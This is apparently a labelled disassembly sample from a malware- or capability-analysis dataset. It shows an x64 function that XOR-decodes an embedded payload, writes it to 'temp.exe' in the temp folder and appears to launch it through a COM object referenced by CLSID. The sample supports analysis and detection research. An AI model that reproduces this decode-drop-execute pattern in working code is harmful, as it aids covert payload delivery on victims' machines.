Function at 0x140001000
Capabilities:
Get common file path
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x3b0]
sub rsp, 0x4b0
mov rax, qword [0x140018008]
xor rax, rsp
mov qword [rbp + 0x3a0], rax
lea rdx, [rbp - 0x80]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea r8, str.temp.exe
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x80]
call qword [sym.imp.SHLWAPI.dll_PathCombineW]
xor edi, edi
lea rcx, [rbp - 0x80]
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140001089
jmp 0x140001261
movzx eax, word [0x140015658]
lea r10, [0x1400189f0]
movsd xmm0, qword [str.vTZ:aL__s]
mov edx, edi
mov word [rsp + 0x78], ax
mov r8, rdi
movzx eax, byte [0x14001565a]
mov byte [rsp + 0x7a], al
movsd qword [rsp + 0x70], xmm0
nop word [rax + rax]
mov r9d, edx
movzx ecx, byte [r9 + r10]
test cl, cl
je 0x1400010f1
cmp r8, 0xa
mov rax, rdi
cmovne rax, r8
xor cl, byte [rsp + rax + 0x70]
lea r8, [rax + 1]
xor cl, dl
sub cl, dl
inc edx
mov byte [r9 + r10], cl
cmp edx, 0x17c00
jb 0x1400010c0
lea r9, [rsp + 0x48]
mov dword [rsp + 0x48], edi
mov r8d, 0x17c00
mov qword [rsp + 0x20], rdi
mov rdx, r10
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movups xmm0, xmmword [str.file:___]
movzx eax, word [0x140015728]
lea rcx, [rbp + 0x1a2]
xor edx, edx
mov word [rbp + 0x1a0], ax
mov r8d, 0x1f6
movaps xmmword [rbp + 0x190], xmm0
call fcn.1400022a0
lea r8, [rbp - 0x80]
mov edx, 0x104
lea rcx, [rbp + 0x190]
call fcn.140003328
lea rdx, [rsp + 0x60]
mov qword [rsp + 0x40], rdi
lea rcx, str.8cec58ae_07a1_11d9_b15e_000d56bfe6ee
call qword [sym.imp.ole32.dll_CLSIDFromString]
mov ecx, eax
test eax, eax
js 0x14000124b
lea rdx, [rsp + 0x50]
lea rcx, str.8cec592c_07a1_11d9_b15e_000d56bfe6ee
call qword [sym.imp.ole32.dll_CLSIDFromString]
mov ecx, eax
test eax, eax
js 0x14000124b
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov ebx, eax
test eax, eax
jns 0x1400011c2
mov ecx, eax
movzx eax, bx
and ecx, 0xffff0000
cmp ecx, 0x80070000
jmp 0x14000125a
xor edx, edx
lea rax, [rsp + 0x40]
lea r9, [rsp + 0x50]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x60]
lea r8d, [rdx + 4]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jns 0x14000120a
mov eax, ebx
and eax, 0xffff0000
cmp eax, 0x80070000
jne 0x1400011fb
movzx ecx, bx
mov eax, ecx
jmp 0x140001261
neg ebx
mov eax, 0x3eb
sbb ecx, ecx
and ecx, eax
mov eax, ecx
jmp 0x140001261
mov rcx, qword [rsp + 0x40]
lea rdx, [rbp + 0x190]
mov rax, qword [rcx]
call qword [rax + 0x30]
mov rcx, qword [rsp + 0x40]
mov ebx, eax
test rcx, rcx
je 0x14000122e
mov rdx, qword [rcx]
call qword [rdx + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, ebx
and ecx, 0xffff0000
cmp ecx, 0x80070000
jne 0x1400011fb
movzx ecx, bx
mov eax, ecx
jmp 0x140001261
mov eax, ecx
and eax, 0xffff0000
cmp eax, 0x80070000
movzx eax, cx
je 0x140001261
mov eax, 0x3eb
mov rcx, qword [rbp + 0x3a0]
xor rcx, rsp
call fcn.1400012a0
lea r11, [rsp + 0x4b0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret